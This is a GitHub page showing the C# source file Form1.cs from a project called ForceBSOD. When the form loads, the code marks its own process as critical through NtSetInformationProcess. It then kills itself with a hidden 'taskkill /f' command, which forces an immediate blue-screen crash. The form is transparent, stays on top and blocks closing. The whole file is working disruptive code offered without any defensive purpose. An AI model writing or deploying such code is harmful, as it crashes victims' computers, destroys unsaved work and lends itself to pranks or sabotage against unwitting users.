-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathForm1.cs
More file actions
47 lines (42 loc) · 1.58 KB
/
Form1.cs
File metadata and controls
47 lines (42 loc) · 1.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ForceBSOD
{
public partial class Form1 : Form
{
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
public Form1()
{
InitializeComponent();
this.TransparencyKey = this.BackColor;
TopMost = true;
}
private void Form1_Load(object sender, EventArgs e)
{
int isCritical = 1;
int BreakOnTermination = 0x1D;
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
Process currentProcess = Process.GetCurrentProcess();
string ProcessID = currentProcess.Id.ToString();
ProcessStartInfo killProcess = new ProcessStartInfo();
killProcess.FileName = "cmd.exe";
killProcess.WindowStyle = ProcessWindowStyle.Hidden;
killProcess.Arguments = @"/c taskkill /f /pid " + ProcessID;
Process.Start(killProcess);
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
}
}